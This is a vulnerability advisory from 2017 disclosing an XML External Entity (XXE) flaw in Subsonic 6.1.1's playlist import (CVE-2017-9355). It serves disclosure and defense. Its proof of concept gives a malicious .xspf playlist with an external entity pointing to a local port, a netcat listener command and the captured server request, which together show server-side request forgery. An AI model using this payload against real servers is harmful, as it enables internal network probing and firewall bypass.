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2.4 KiB
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102 lines
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2.4 KiB
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[+] Credits: John Page a.k.a hyp3rlinx
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[+] Website: hyp3rlinx.altervista.org
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[+] Source: http://hyp3rlinx.altervista.org/advisories/SUBSONIC-XML-EXTERNAL-ENITITY.txt
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[+] ISR: ApparitionSec
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Vendor:
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================
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www.subsonic.org
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Product:
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===============
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subsonic v6.1.1
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Subsonic is a media streaming server. You install it on your own computer where you keep your music or video collection.
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Vulnerability Type:
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====================
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XML External Entity
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CVE Reference:
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==============
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CVE-2017-9355
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Security Issue:
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================
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subsonic import playlist feature is succeptible to XML External Entity attack. To exploit a User must be tricked to
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import a malicious .XSPF playlist file. The XXE injection can be used to target various hosts from the internal network
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to bypass Firewall or from the internet as XML External Entity is related to Server Side Request Forgery (SSRF) attacks.
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Exploit/POC:
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=============
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1) Create some playlist file "RainbowsNUnic0rns.xspf"
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<?xml version="1.0"?>
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<!DOCTYPE mmmmmRaisins [
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<!ENTITY % mmmm SYSTEM "http://127.0.0.1:1337/">
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%mmmm;]>
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2) Import as playlist.
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3) Start listener.
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nc.exe -llvp 1337
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listening on [any] 1337 ...
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connect to [127.0.0.1] from USER-PC [127.0.0.1] 64428
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GET / HTTP/1.1
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Cache-Control: no-cache
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Pragma: no-cache
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User-Agent: Java/1.8.0_45
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Host: 127.0.0.1:1337
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Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
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Connection: keep-alive
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Network Access:
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===============
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Remote
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Severity:
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=========
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High
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Disclosure Timeline:
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==================================
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Vendor Notification: May 29, 2017
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Vendor Acknowledgement: May 30, 2017
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June 4, 2017 : Public Disclosure
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[+] Disclaimer
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The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
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Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
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that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
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is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
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for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
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or exploits by the author or elsewhere. All content (c).
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hyp3rlinx |